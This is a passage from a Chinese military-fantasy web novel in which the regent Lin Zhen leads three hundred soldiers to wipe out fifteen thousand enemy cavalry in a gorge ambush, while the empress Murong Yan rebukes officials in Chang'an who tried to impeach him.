“一线天……”林臻的目光投向黑暗的远方。 那里,是他在沙盘上为乌维的金狼骑,选好的坟墓! “传令下去!所有人,立刻出发!此战,不成功,便成仁!”林臻的声音不大,却带着一股斩钉截铁的决绝。 “是!”三百名死士齐声应诺,声音虽低,却充满了视死如归的悲壮。 他们扔掉身上所有多余的负重,只留下最致命的武器,跟在林臻的身后,如同一支黑色的利箭,射向那未知的、充满杀机的黎明。 然而,就在他们即将离开这片乱石滩时,负责断后的斥候,突然发出了预警的鸟鸣! “有敌人!” 林臻心中一凛,立刻打出手势,三百人瞬间散开,隐入周围的岩石缝隙中,刀出鞘,箭上弦。 片刻之后,一阵马蹄声由远及近。 月光下,一支约有百人的漠北巡逻队,出现在他们的视野中。看旗号,是浑邪王麾下的骑兵。 他们显然没有想到,在这片生命的禁区里,竟然会遇到大乾的军队。 一个个队形松散,有说有笑。 “王爷,要不要……”鬼影做了个抹脖子的手势。 林臻沉吟了片刻,摇了摇头。 他们此行的目的是伏击金狼骑,现在动手,一旦有任何一个敌人逃脱,他们的整个计划就会功亏一篑。 “隐蔽,放他们过去。”他低声下令。 众人屏住呼吸,眼看着那支巡逻队越来越近。 一百步……五十步……三十步…… 就在巡逻队即将通过他们藏身的乱石滩时,队伍最后面的一名漠北骑兵,似乎是内急,勒住马,翻身下来,径直朝着林臻藏身的那块巨石走了过来。 林臻的心,瞬间提到了嗓子眼! 他身边的鬼影,已经握紧了手中的匕首,肌肉紧绷,如同蓄势待发的猎豹。 那名漠北骑兵一边解着裤腰带,一边嘴里还哼着不成调的草原小曲。 二十步……十步……五步…… 他离林臻藏身的巨石,只有一步之遥! 他甚至只要一伸脚,就能踢到林臻的身体! 就在这千钧一发的时刻,远处,巡逻队的头领似乎发现少了一个人,不耐烦地大声喊道:“巴图!你他娘的磨蹭什么!想被狼叼走吗?!” “来了来了!”那名叫巴夜的骑兵吓了一跳,也顾不上方便了,手忙脚乱地提上裤子,翻身上马,追赶队伍去了。 林臻直到那支巡逻队的马蹄声彻底消失在远方,才缓缓地松了一口气。 他的后背,已经被冷汗浸透。 “王爷,好险!”鬼影也长出了一口气。 “走!”林臻没有多说,只是吐出了一个字。 刚才的惊险,让他更加确定,乌维和孔志谦的计划,远比他想象的要周密。 金狼骑的秘密行军路线上,竟然还有其他部落的巡逻队在负责外围警戒。 他必须更快!必须赶在敌人发现任何蛛丝马迹之前,抵达伏击地点! 然而,就在他们加速行进,即将穿过这片沼泽边缘地带时,一名眼尖的“夜枭”突然指着前方,发出一声惊呼。 “王爷,您看那是什么?!” 众人顺着他手指的方向望去,只见在前方不远处的沼泽泥地里,似乎插着一面黑色的旗帜。旗帜已经破烂不堪,上面用金线绣着的狼头图案,在月光下,却依旧狰狞。 林臻瞳孔一缩! 那是……漠北王庭,金狼骑的战旗! 第1092章 北疆八百里加急 当漠北金狼骑那黑色的狼头大旗,如同乌云般出现在燕然都护府城外地平线上的时候,城头上的大乾守军,几乎不敢相信自己的眼睛。 “那……那是什么?!”一名年轻的士兵,声音颤抖地指着远方。 “是漠北人!是他们的主力!”老兵的脸上,写满了惊骇,“他们……他们是怎么绕到我们后面来的?!” 恐慌,如同寒流,瞬间席卷了整个城头。 燕然都护府,作为大乾北伐军最重要的后勤基地,驻扎的守军并不算多,且大多是二线部队和辅兵,真正的精锐,早已被抽调一空,跟随林臻和郑蛟的主力大军在前线作战。 而城外,那黑压压的一片,旌旗招展,铁甲森然,粗略估计,至少有上万骑! 而且看他们装备精良、气势如虹的模样,分明就是漠北最精锐的王牌——金狼骑! “快!敲响警钟!关闭城门!全军戒备!”燕然都护使,年近五十的陈敬,在最初的震惊之后,立刻发出了嘶哑的吼声。 “铛!铛!铛!” 凄厉而急促的警钟声,瞬间响彻了整个燕然城。 城内,无数还在睡梦中的士兵和百姓被惊醒,一时间,哭喊声、叫骂声、盔甲碰撞声,乱成一团。 陈敬站在城楼之上,看着城外那如同黑色潮水般、越来越近的敌军,手心里全是冷汗。 他知道,一场前所未有的血战,即将来临。 而他手中,可战之兵,不足五千。 城外,金狼骑的统帅,漠北左谷蠡王阿提拉,看着眼前这座乱成一团的城池,脸上露出了轻蔑的笑容。 阿提拉是乌维的亲弟弟,以勇猛嗜血著称。 此次,乌维将奇袭燕然的重任交给他,并拨给他一万五千名金狼骑精锐,就是要他以雷霆万钧之势,一举拿下这座大乾军队的咽喉。 “看来,林臻那小子,真的把所有主力都调到东边去了。”阿提拉对身边的副将笑道,“这燕然城,简直就像个不设防的女人,等着我们去蹂躏!” “王爷英明!此战过后,林臻大军后路被断,粮草断绝,数十万大军,将不战自溃!王爷您,便是覆灭大乾的第一功臣!”副将连忙拍着马屁。 “传我命令!”阿提拉得意地一挥马鞭,“前军压上,准备攻城!天黑之前,我要在燕然城的都护府里,喝上南人的美酒!” “是!” 然而,就在金狼骑的前锋部队,耀武扬威地冲到燕然城下,准备开始第一轮试探性攻击时,诡异的一幕发生了。 原本还在城外各处据点和营寨里驻守的大乾军队,竟然放弃了所有外围阵地,如同潮水般,尽数退回了城中! 紧接着,吊桥升起,厚重的城门“轰隆”一声,死死关闭! 城墙之上,无数弓箭手和守城器械,严阵以待。 阿提拉的笑容,僵在了脸上。 “怎么回事?他们不战而退?”他有些疑惑。 “王爷,我看南人是被我军的气势吓破了胆!他们这是想凭借坚城,苟延残喘!”副将分析道。 阿提拉想了想,觉得也有道理。 毕竟,双方兵力差距悬殊。他冷笑一声:“想当缩头乌龟?没那么容易!给我把投石机和攻城槌推上去!我倒要看看,是他们的城墙硬,还是我漠北勇士的拳头硬!” 城楼之上,陈敬看着城外敌军开始不紧不慢地布置攻城器械,心中却是焦急万分。 他身旁的副将忍不住上前道:“大人!敌军立足未稳,士气正骄,我军何不趁此时机,派出一支精锐,冲杀一阵,挫其锐气?为何要全线收缩,坐以待毙啊!” 陈敬回头,看了他一眼,没有说话,只是从怀中,取出了一面纯金打造的令牌。 令牌上,一只栩栩如生的凤凰,在晨光下熠熠生辉。 “这是……凤翎金牌?!”副将大惊失色,立刻单膝跪地。 “这是亲王殿下派人星夜送来的。”陈敬的声音,沉稳而坚定,“殿下有令:见此牌,如见陛下亲临!我等只需放弃外围,固守城池,深沟高垒,死守待援!没有殿下的命令,就算城外天塌下来,也不许出城一步!” 听到这话,副将沉默了。 他虽然不明白亲王殿下为何要下达这样看似怯懦的命令,但军令如山,更何况是代表着女帝亲临的金牌。 “末将……遵命!” 他心中依旧充满疑虑。亲王殿下难道真的放弃了燕然城? 他们这些人,难道都成了被抛弃的棋子? 不止是他,城墙上所有的将士,心中都充满了同样的不安与困惑。 他们眼睁睁地看着城外的敌人,从容地安营扎寨,将整个燕然城围得水泄不通,却只能被动地等待着。 这种等待,比直接上战场拼杀,更让人煎熬。 消息,如同插上了翅膀,以最快的速度传回了长安。 太极殿内。 当“燕然城被围”的八百里加急军报,被声嘶力竭地念出来时,整个朝堂,瞬间炸开了锅! “什么?!燕然被围?这怎么可能!” “漠北的主力不是在东线与郑大元帅对峙吗?哪来的兵马去围燕然?” “完了!完了!燕然若失,北伐大军的后路就断了!数十万大军,危在旦夕啊!” 恐慌的情绪,如同病毒般在百官之中蔓延。 一些本就对战事持悲观态度的文官,立刻跳了出来。 “陛下!臣早就说过,亲王殿下年轻气盛,孤军深入,此乃兵家大忌!如今果然出事了!” “是啊陛下!如今之计,唯有立刻与漠北议和,命亲王殿下撤军,方能保全我大乾的元气啊!” “请陛下立刻下旨,召回亲王!再派使臣,前往漠北乞和!” 主和的声音,一时间甚嚣尘上。甚至有几位老臣,跪在地上,老泪纵横,苦苦哀求。 慕容嫣端坐于凤椅之上,听着下方嘈杂的争论与哭喊,脸色冰冷。 她依旧只穿着那身神凤降世裙,外面罩着庄重的黑金色霞帔。 殿内的烛光,映照在她身上,那墨黑苏锦底料上的金色凤凰,仿佛也感受到了主人的怒意,金线绣成的凤目之中,闪烁着一种锐利而冰冷的寒光。 那长达五丈、迤逦于丹陛之上的凌乱拖尾,静静地铺陈着,如同一条蓄势待发的黑色巨龙,散发着令人心悸的威压。 她没有说话,只是静静地看着下方那些丑态百出的臣子。 她知道,这些人中,有的是真的忧心国事,但更多的,是想借机发难,打击她和林臻的威望,甚至想推翻她之前力主北伐的国策。 就在这时,一名御史大夫颤巍巍地出列,大声道: “陛下!摄政王林臻,身为三军主帅,却轻敌冒进,致使后方空虚,燕然重地被围,陷数十万大军于险境!此乃弥天大罪!臣,泣血弹劾摄政王林臻!请陛下降旨,将其削职夺爵,召回京城,交三法司会审,以正国法!以谢天下!” 此言一出,满朝皆惊! 竟然有人敢当朝弹劾战功赫赫、圣眷正浓的摄政王! 然而,立刻便有数名言官出列附和。 “臣附议!林臻虽有鹰嘴崖之功,但功不抵过!燕然之失,其罪难恕!” “请陛下严惩林臻,以安军心民心!” 慕容嫣看着下方那几个上蹿下跳的言官,她认得他们,都是些平日里与崔家走得颇近的、自诩清流的腐儒。 崔家刚倒,他们就迫不及待地跳出来了吗? 她心中杀机毕露,缓缓地从凤椅上站了起来。 就在她起身的瞬间——动作带着一种被触及逆鳞后的、绝对的冰冷与震怒! 那铺散凌乱的墨金色苏锦拖尾,被她这带着雷霆之怒的动作猛地带动,在光滑的金砖地面上,发出“唰”的一声锐响! 随着拖尾的轰然飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在殿内辉煌的烛火映照下,那片金光不再是威严,也不是警告,而是迸发出一股如同火山喷发般、灼热到极致的、毁灭性的凛冽光芒! 那只擎天巨凤,在瞬间仿佛活了过来,凤目圆睁,金芒爆射,充满了对所有质疑她丈夫之人的极度蔑视与狂怒! 那是一种“谁敢伤我爱人,我便毁天灭地”的、属于一国女帝,更属于一个妻子的、不顾一切的疯狂与决绝! 裙摆落下,将那片足以焚尽一切的怒火掩盖。 “弹劾亲王?”慕容嫣的声音,平静得可怕,“你们,有谁,有这个资格?” 话音刚落,殿外突然传来一声尖利高亢的唱喏,声音中带着无尽的狂喜与激动,穿透了整个太极殿。 “北疆——八百里加急——大捷——!” 第1093章 阿提拉,你的死期到了 这是一道被大自然鬼斧神工劈开的巨大裂缝,两边是高达百丈的陡峭绝壁,中间只留下一条宽不足十丈、仅容三五骑并行的狭窄通道。 这里是金狼骑从沼泽密道出来,前往燕然都府的必经之路。 也是林臻为他们选好的,埋骨之地。 此刻,在这绝壁的顶端,林臻和他的三百“夜枭”死士,已经潜伏了整整一夜。 他们就像是与岩石融为一体的幽灵,没有发出任何一丝声响。 一夜的等待,耗尽了他们最后的体力,但每个人的精神,却都绷紧到了极致。 他们的手中,紧紧握着冰冷的兵器,眼睛死死地盯着下方那条如同巨兽之口的峡谷。 林臻早已将一切都布置妥当。 峡谷的入口和出口处,都用巨石和圆木设置了巧妙的机关,只需一声令下,便能瞬间堵死通道,形成一个巨大的囚笼。 绝壁的两侧,暗藏着数十个由“夜枭”中最顶尖的弓弩手组成的射击点,他们手中的特制连弩,能在最短的时间内,倾泻出最密集的死亡箭雨。 而在峡谷的地面上,更是洒满了无数淬了剧毒的铁蒺藜,以及用兽皮伪装起来的捕兽夹和陷坑。 这是一个完美的、立体的死亡陷阱。 林臻站在绝壁的最高处,冷冽的山风吹动着他黑色的衣袂。他的脸上,带着连日奔波的疲惫和风霜,但那双眼睛,却亮得吓人。 他没有对身边的弟兄们说什么鼓舞士气的话。 因为能跟着他来到这里的,每一个,都是早已将生死置之度外的死士。他们不需要豪言壮语,他们需要的,只是一个命令。 他只是在下达最后的指令后,对众人说了一句:“弟兄们,此战之后,若能活着回去,我请你们喝最好的酒。若不幸战死,你们的家人,陛下和本王,养一辈子!” “为王爷死!为陛下死!为大乾死!”三百死士,用低沉却无比坚定的声音回应。 林臻从怀中,再次摸出了那个绣着鸳鸯的香囊。 他将香囊凑到鼻尖,深深地吸了一口气。 那熟悉的、属于嫣儿的香气,瞬间驱散了他心中所有的疲惫与紧张,只剩下无尽的温柔和坚定的杀意。 嫣儿,我答应过你,要亲手结束这场战争。 今天,就是我兑现诺言的时候。 他将香囊重新放回胸口,贴着心脏的位置。然后,他抽出了腰间那柄陪伴他多年的长剑。 剑身在晨曦微光下,反射出森然的寒光。 “来了。” 他身边的鬼影,低声说道。 林臻闻声,向峡谷的入口望去。 只见一队约有百人的金狼骑斥候,正小心翼翼地策马进入了峡谷。 他们警惕地四处查看着,但绝壁之上,寂静无声,只有风声呜咽。 斥候们没有发现任何异常,在仔细搜索了一遍后,便向后方发出了安全的信号。 片刻之后,大地的震颤声,由远及近。 黑压压的金狼骑主力,如同黑色的钢铁洪流,开始缓缓地涌入“一线天”峡谷。 他们人披重甲,马亦披挂着铁铠,手中的长矛和弯刀在晨光下闪着骇人的光芒。 不愧是漠北最精锐的王牌,即便是在这狭窄的峡谷中行军,依旧保持着严整的队形,浑身散发着令人窒息的压迫感。 林臻的目光,在敌军中快速地搜索着。 很快,他便在队伍的中段,看到了一面巨大的、绣着金色狼头的王旗。 王旗之下,簇拥着一群亲卫,中间一人,身材异常魁梧,骑在一匹神骏的白色战马上,正是左谷蠡王阿提拉。 找到了! 林臻的心,一片冰冷。 他耐心地等待着。 等待着这条贪婪的巨蟒,将它整个身体,都完全送入这个为它量身定做的陷阱之中。 一万五千人的队伍,绵延数里。 当金狼骑的尾队,也完全进入峡谷之后,阿提拉似乎也感觉到了什么不对。 这峡谷,太过寂静了。 连一声鸟叫都没有。 他皱了皱眉,正想下令全军加速通过。 然而,已经晚了。 林臻站在绝壁之巅,看着下方那条已经被填满的黑色“河流”,缓缓地举起了手中的长剑。 然后,猛地向下一挥! “动手!” 一声令下! “轰隆隆——!” 峡谷的入口和出口处,早已准备好的巨石和圆木,被同时推下! 伴随着惊天动地的巨响,两端的通道,瞬间被彻底堵死! 正在行进中的金狼骑,被这突如其来的变故惊得人仰马翻,阵型瞬间大乱。 “怎么回事?!” “有埋伏!” 阿提拉还没从震惊中反应过来。 “咻!咻!咻!咻!” 死亡的交响曲,便已奏响! 从绝壁的两侧,无数个隐藏的射击点,同时喷射出致命的箭雨! 那不是普通的弓箭,而是由神机营特制的、能穿透重甲的破甲箭! 密集的箭矢如同黑色的蝗群,铺天盖地地笼罩下来。 峡谷内,瞬间变成了人间地狱! 金狼骑的士兵们虽然精锐,但在这狭窄得无法闪避、无法结阵的绝地之中,他们身上的重甲,根本无法抵挡来自头顶的、全方位的饱和攻击。 惨叫声、战马的悲鸣声,瞬间响彻了整个峡谷。 无数的漠北勇士,还没看清敌人在哪里,就被密集的箭雨射成了刺猬,连人带马,惨叫着倒在血泊之中。 “稳住!结盾阵!快结盾阵!”阿提拉嘶声力竭地咆哮着。 然而,他的命令,在这一片混乱和死亡的哀嚎中,显得那么苍白无力。 更可怕的,还在后面。 “放!” 随着第二声令下,早已准备好的、浸满了火油的巨大滚木,被点燃后,从绝壁上轰然滚下! 带着熊熊烈火的滚木,如同地狱的战车,带着无可匹靡的气势,冲入本已混乱不堪的敌阵之中,将无数的漠北骑兵,连人带马,撞得筋骨寸断,血肉横飞! 烈火,瞬间引燃了他们身上的皮袍和马鞍。 整个峡谷,几乎在瞬间,变成了一片火海! “啊——!” “救命啊!” 无数的漠北士兵,在烈火中惨叫、翻滚,最终变成一具具焦黑的尸体。 阿提拉看着眼前这如同地狱般的景象,目眦欲裂! 他做梦也想不到,自己引以为傲的一万五千金狼骑,竟然会在这种地方,遭遇到如此毁灭性的打击! “冲出去!给我冲出去!”他状若疯虎,挥舞着手中的狼牙棒,不顾一切地想要组织起有效的反击。 然而,就在这时,林臻那如同死神般冰冷的声音,从绝壁之上,清晰地传入了每一个幸存的金狼骑士兵耳中。 “阿提拉,你的死期,到了!” 第1094章 三百对一万 当林臻的声音在峡谷中回荡时,阿提拉猛地抬头,正好对上绝壁之上那双如同寒星般冰冷的眼睛。 “林臻!”他咬牙切齿地吼出这个名字,声音中充满了无尽的愤怒与怨毒,“你这个卑鄙的南人!有种就下来与我决一死战!” “如你所愿。” 林臻的声音刚落,他身后的三百“夜枭”死士,便如同下山的猛虎,顺着早已准备好的绳索,从百丈绝壁之上,飞速滑下! 他们就像是来自地狱的死神,悄无声息地落入已经混乱不堪的敌阵之中。 没有呐喊,没有废话。 只有冰冷的刀锋,划破喉咙的声音。 “噗嗤!” 一名“夜枭”落地,手中的短刃顺势抹过一名还在发愣的金狼骑士兵的脖子,温热的鲜血喷涌而出。 他看也不看倒下的尸体,身形一晃,便扑向了下一个目标。 三百个黑色的身影,就像是三百把最锋利的匕首,狠狠地插进了金狼骑这头已经重伤垂死的巨兽心脏! 他们以三五人为一组,结成小型的绞杀阵,在混乱的敌军中,高效而冷酷地收割着生命。 金狼骑的士兵虽然勇猛,但在经历了滚石、箭雨、火攻之后,早已是惊弓之鸟,士气崩溃。 此刻又被这群如同鬼魅般的敌人近身,更是毫无还手之力,几乎是在被单方面地屠杀。 林臻亲自率领着五十名最精锐的死士,如同一柄最锋利的尖刀,目标明确,直指阿提拉的王旗! “挡住他们!给我挡住他们!”阿提拉身边的亲卫们,惊恐地叫喊着,拼命地想要组成防线。 然而,他们的抵抗,在林臻面前,显得那么可笑。 林臻手中的长剑,在火光下划出一道道致命的银光。他所过之处,人仰马翻,血肉横飞。没有任何人,能挡住他一招! 他就像一尊从远古战场上走来的杀神,浑身散发着令人胆寒的杀气。 “杀!” 鬼影紧随其后,他手中的双刀,如同两道黑色的闪电,每一次挥舞,都必然带走一条生命。 五十名死士,组成一个完美的攻击阵型,牢牢地护卫在林臻的左右,为他清除着一切障碍。 他们势如破竹,很快便杀到了阿提拉的王旗之下。 阿提拉看着那个离自己越来越近的、如同魔神般的黑色身影,眼中终于闪过了一丝恐惧。 但他毕竟是漠北的左谷蠡王,是草原上最勇猛的雄狮。恐惧,只是一瞬间。 随即,便被更深的疯狂与暴戾所取代。 “啊——!” 他发出一声野兽般的咆哮,猛地一夹马腹,挥舞着手中那根沉重的狼牙棒,主动朝着林臻冲了过来! “林臻!拿命来!” 狼牙棒带着撕裂空气的呼啸声,当头向着林臻砸下! 这一击,势大力沉,若是被砸中,就算是铁人,也要被砸成肉饼! 林臻眼中寒光一闪,不退反进! 就在狼牙棒即将及体的瞬间,他脚尖在马镫上轻轻一点,整个人如同飞鸟般拔地而起,以一个不可思议的角度,避开了这致命的一击! 同时,他手中的长剑,如同毒蛇出洞,自下而上,闪电般刺向阿提拉的咽喉! 阿提拉大惊失色! 他做梦也想不到,林臻的轻功,竟然高到了这种地步! 危急关头,他猛地一扭身体,险之又险地避开了这刺向喉咙的一剑。 但林臻的剑势,却丝毫不停! 手腕一抖,长剑顺势下划! “噗嗤!” 一声利刃入肉的闷响! 阿提拉惨叫一声,他的右臂,从肩膀处,被林臻一剑齐根斩断! 那只握着狼牙棒的粗壮手臂,带着一股血箭,掉落在地上。 “啊!我的手!我的手!”阿提拉发出了撕心裂肺的惨嚎,剧烈的疼痛让他几乎从马背上栽下去。 “结束了。” 林臻的身影,如同鬼魅般出现在他的身后,冰冷的声音,在他的耳边响起。 阿提拉甚至来不及回头。 他只觉得脖子一凉。 随即,他眼中的世界,便开始天旋地转。 他看到的最后一个画面,是自己那具无头的身体,还骑在战马上,鲜血如同喷泉般从脖腔里涌出。 “噗通!” 阿提拉的头颅,滚落在满是鲜血和尸体的地上,那双铜铃般的大眼里,还残留着无尽的惊恐与不甘。 “左谷蠡王……死了!” “王爷被杀了!” 看到阿提拉的王旗倒下,头颅被林臻高高举起,所有还在负隅顽抗的金狼骑士兵,彻底崩溃了! 他们扔掉手中的兵器,哭喊着,四散奔逃。 然而,在这条被堵死的绝路之中,他们又能逃到哪里去? 等待他们的,只有“夜枭”们冰冷的屠刀。 战斗,很快便进入了尾声。 整个“一线天”峡谷,已经变成了一个名副其实的修罗场。 尸体堆积如山,鲜血汇成了溪流。空气中,弥漫着浓烈的、令人作呕的血腥味、焦糊味和死亡的气息。 林臻站在尸山血海之中,浑身浴血,如同地狱归来的修罗。 他拄着长剑,剧烈地喘息着。 连番的大战,已经耗尽了他几乎所有的体力。他的身上,也添了数道深可见骨的伤口,鲜血正不断地从铠甲的缝隙中渗出。 他赢了。 以三百人的代价,全歼了漠北最精锐的一万五千金狼骑! 这是一场足以载入史册的、不可思议的大捷! 然而,他的脸上,却没有任何喜悦。 他回头,看了一眼身后。 原本三百人的“夜枭”死士,此刻,还能站着的,已经不足一百人。 每一个人的身上,都挂满了彩,疲惫得仿佛随时都会倒下。 但他们的眼神,依旧明亮,依旧充满了对他的、狂热的崇拜。 林臻深深地吸了一口气,对着所有幸存的弟兄,缓缓地、单膝跪下。 “弟兄们,辛苦了。” 幸存的“夜枭”们见状,一个个热泪盈眶,齐刷刷地单膝跪地,用沙哑的声音吼道:“为王爷效死!万死不辞!” 林臻站起身,从怀中,取出了那面凤翎金牌。 “传我将令!将左谷蠡王阿提拉的首级,连同此捷报,八百里加急,送往长安,呈于陛下!” “再传令,送往东线郑帅处!告诉他,收网的时候,到了!” 做完这一切,他只觉得眼前一黑,再也支撑不住,直挺挺地向后倒了下去。 “王爷!” “王爷!” 鬼影等人大惊失色,连忙冲上去,将他扶住。 “快!快传军医!” 第1095章 这已经不是战争,这是神迹! 当林臻在“一线天”峡谷血战之时,远在长安的太极殿内,气氛也紧张到了极点。 “北疆——八百里加急——大捷——!” 这一声高亢的唱喏,如同一道惊雷,瞬间劈开了大殿内所有的恐慌、质疑与攻讦。 所有人都愣住了。 大捷? 燕然城不是刚刚被围吗? 哪来的大捷? 就连方才还在慷慨陈词,弹劾林臻的那位御史大夫,也张大了嘴巴,一脸的错愕。 慕容嫣那冰冷如霜的脸上,也终于出现了一丝波动。她凤眸微抬,看向殿外。 只见一名身披轻甲、浑身尘土、脸上还带着刀疤的信使,连滚带爬地冲进殿来,手中高高举着一个染血的木匣和一卷明黄色的军报。 “噗通”一声,他跪倒在地,声音因为激动和疲惫而嘶哑不堪。 “启禀陛下!北疆八百里加-"急大捷!亲王殿下于死亡沼泽‘一线天’峡谷,设下绝户之计,以三百‘夜枭’死士,全歼漠北左谷蠡王阿提拉所率一万五千金狼骑!此为阿提拉之首级!” 说着,他将手中的木匣高高举过头顶。 整个太极殿,陷入了死一般的寂静。 全歼……一万五千金狼骑?! 三百人,对一万五千人?! 这……这不是在说书吧?! 所有官员,包括杜如晦和周兴在内,全都露出了无法相信的神情。 他们知道金狼骑是漠北的王牌,是足以以一当十的精锐。 而林臻,竟然只用了三百人,就把它全歼了? 这已经不是战争,这是神迹! “呈上来。”还是慕容嫣最先反应过来,她的声音,带着一丝难以察觉的颤抖。 赵无忌立刻上前,接过木匣和军报,快步呈到御案之上。 慕容嫣没有先看军报,而是亲手打开了那个血迹斑斑的木匣。 一颗死不瞑目的、狰狞的头颅,赫然出现在众人眼前。 殿内响起一片倒吸冷气的声音。 虽然很多人不认识阿提拉,但那头颅上属于漠北王族的金环和辫饰,却做不了假。 慕容嫣的目光,落在那颗头颅上,只看了一眼,便移开了。 她缓缓展开那份同样染着血迹的军报。 军报是林臻的亲笔。 上面用简洁而有力的文字,叙述了整个伏击战的经过。 从识破敌军计谋,到亲率死士深入敌后,再到“一线天”的绝地反杀。 信的最后,只有短短八个字。 “臣,幸不辱命。燕然无忧。” 看到这八个字,慕容嫣只觉得一股热流猛地冲上眼眶,视线瞬间模糊了。 她赢了。 她的夫君,又一次,为她,为大乾,创造了一个不可能的奇迹! 他没有让她失望。 他从来,都没有让她失望过! 一股巨大的喜悦与骄傲,瞬间冲垮了连日来所有的压力、担忧与委屈。 她缓缓地抬起头,目光扫过下方那些已经目瞪口呆、面如土色的臣子,尤其是方才叫嚣得最厉害的那几位言官。 她的脸上,绽开了一抹灿烂而冰冷的笑容。 “诸位爱卿,”她的声音,清越而洪亮,响彻整个大殿,“方才,是谁说亲王轻敌冒进,致使燕然被围?” “又是谁,要弹劾亲王,将其削职夺爵,交三法司会审?” 那几位言官,早已吓得魂不附体,双腿一软,噗通噗通地跪倒在地,浑身抖如筛糠。 “臣……臣有罪!臣有眼无珠!臣胡言乱语!请陛下恕罪!请陛下恕罪啊!” 他们拼命地磕着头,恨不得把脑袋都磕进地砖里去。 他们做梦也想不到,剧情的反转,会来得如此之快,如此之猛烈! 前一刻,他们还以为抓住了林臻的把柄,可以借机向女帝发难。 下一刻,这惊天的大捷,就如同一记最响亮的耳光,狠狠地抽在了他们脸上! 这已经不是简单的判断失误了。 在这样泼天的功劳面前,他们方才的弹劾,与构陷谋反,何异? 慕容嫣没有立刻处置他们,而是将目光转向了殿内所有的官员。 “朕的夫君,朕的摄政亲王,在前方,以三百之众,对一万五千虎狼之师,为国血战,九死一生!而你们,朕的股肱之臣,却在后方,听风就是雨,摇唇鼓舌,攻讦功臣,动摇军心!” 她的声音陡然拔高,充满了失望与愤怒。 “这就是你们的忠心吗?!这就是你们的为国分忧吗?!” “臣等有罪!” 满朝文武,无论方才是什么立场,此刻全都齐刷刷地跪倒在地,冷汗浸透了朝服。 他们都被女帝的雷霆之怒,和林臻那神一般的战绩,给彻底震慑住了。 慕容嫣没有再理会他们。她深吸一口气,平复了一下激荡的心情,开始下达一道道清晰的命令。 “传朕旨意!将‘一线天’大捷,昭告天下!凡此战有功将士,无论生死,官升五级!赏黄金千两!阵亡者,入英烈祠,家人由国库供养终生!朕要让所有为国尽忠的勇士,都得到他们应得的荣耀!” “传旨户部、工部,不惜一切代价,筹措粮草军械,即刻送往北疆!前线将士,要什么,给什么!” “传旨大理寺、刑部、御史台,会审这几个妖言惑众、构陷亲王的国贼!给朕严查!查出他们背后,还有谁在指使!” 她说到最后,目光如刀,扫过那几个已经瘫软如泥的言官。 那几人只觉得一股寒气从脚底直冲头顶,瞬间便晕死过去。 处理完一切,慕容嫣退朝。 她没有回栖凤阁,而是径直去了皇家的太庙。 她要将这个好消息,亲口告诉大乾的列祖列宗。 她要告诉他们,她没有辜负他们的期望。 她的夫君,正在为这个帝国,开创一个前所未有的盛世。 当她独自一人,站在空旷威严的太庙中时,她才终于卸下了所有的伪装。 她抚摸着林臻那份染血的军报,泪水,无声地滑落。 “夫君……你这个傻瓜……你一定,伤得很重吧……” 三百对一万五,她用脚趾头想,都知道那是一场何等惨烈的血战。 军报上,他只字未提自己的伤势,但她又岂会不知? 一股后怕与心疼,紧紧地攫住了她的心脏,让她几乎无法呼吸。 就在她沉浸在担忧之中时,她忽然注意到,在军报的背面,还有一行用更小的字写下的、潦草的字迹。 那字迹,不像是军报,更像是……私信。 “嫣儿,勿念。我无事。只是,很想你。” 看到这行字,慕容嫣的泪水,再也忍不住,决堤而下。 她将那份军报,紧紧地贴在自己胸口,哭得像个孩子。 这一刻,她不是威严的女帝,只是一个思念着、担忧着自己远征丈夫的,普通妻子。 而她不知道的是,在她为林臻担忧的同时,一张由孔志谦编织的、更加阴毒的大网,正在大乾的腹地,悄然张开。 鹰嘴崖和“一线天”的两次惨败,让孔志谦意识到,单纯的军事对抗,根本无法战胜林臻。 于是,他向乌维,献上了一条真正的绝户毒计。 “大汗,既然明着打不过,那我们就来阴的。我们真正的敌人,不是林臻的军队,而是大乾的民心。” 第1096章 天衣无缝的绝户之计 东线战场。 郑蛟率领的五万大乾主力,与乌维率领的漠北主力,已经“纠缠”了近十日。 这十日里,郑蛟将“演技”发挥到了极致。 他指挥大军,每日里大张旗鼓地向漠北军的营寨发起挑战,但每次都是雷声大,雨点小。 两军的先锋部队一经接触,稍有损失,他便立刻下令鸣金收兵,摆出一副急于求胜、却又实力不济的焦躁模样。 他还故意放出风声,说后方粮草不济,军中甚至出现了小规模的哗变,被他强行弹压了下去。 这一切,都通过漠北的探子,原原本本、一字不差地传到了乌维的耳中。 乌维和他麾下的将领们,起初还心存疑虑。 但随着时间的推移,看着郑蛟每日里如出一辙的“拙劣表演”,他们渐渐地放下了警惕。 “看来,林臻那小子,是真的被阿提拉的奇袭计划给骗过去了。” 乌维坐在王帐之中,抚着胡须,得意地对身边的谋士阿史那德说道, “他把所有精锐都调去了西线,只留下郑蛟这个老匹夫和一群乌合之众在东线虚张声势。他做梦也想不到,阿提拉的金狼骑,此刻恐怕已经在燕然城的城头,饮酒狂欢了!” 阿史那德也陪着笑道:“大汗英明。待阿提拉王爷拿下燕然,断了南军的后路,这数十万大乾军队,便成了我等的瓮中之鳖!届时,郑蛟这五万人,不过是开胃小菜罢了。” “哈哈哈哈!”乌维发出了畅快的大笑,“传我命令!全军休整,养精蓄锐!再等三日!等阿提拉的捷报传来,我们便前后夹击,将郑蛟这五万人,给我一口吞掉!然后,兵锋南指,直取长安!” “是!”众将轰然应诺,一个个脸上都露出了贪婪而兴奋的神情。 他们仿佛已经看到了,自己骑着高头大马,冲入繁华的长安城,肆意烧杀抢掠的场景。 然而,他们等来的,不是捷报。 而是来自地狱的噩耗。 第三日,黄昏。 当一名金狼骑的幸存者,如同鬼魅般、浑身是血地冲入王帐,将“一线天”峡谷那地狱般的惨状,和阿提拉被斩首的消息,用颤抖的声音说出来时,整个王帐,瞬间陷入了死一般的寂静。 乌维脸上的笑容,僵住了。 他手中的酒杯,“啪”的一声,掉落在地,摔得粉碎。 “你……你说什么?”他的声音,干涩得如同被砂纸打磨过,“阿提拉……死了?一万五千金狼骑……全军覆没?!” “是……是的,大汗……”那名幸存者吓得浑身发抖,语无伦次,“是林臻……是林臻那个魔鬼!他早就识破了我们的计划!他在‘一线天’设下了埋伏!火攻、滚石、毒箭……弟兄们……弟-兄们都死了!阿提拉王爷他……他被林臻亲手斩下了头颅!” “不……不可能!这绝不可能!”乌维猛地站起身,状若疯虎,一把揪住那名幸存者的衣领,“你在撒谎!你在动摇军心!来人!把他给我拖出去砍了!” 然而,没有将领动。 所有人的脸上,都写满了与乌维相同样的震惊、恐惧与难以置信。 阿史那德更是面如死灰。 他知道,完了。 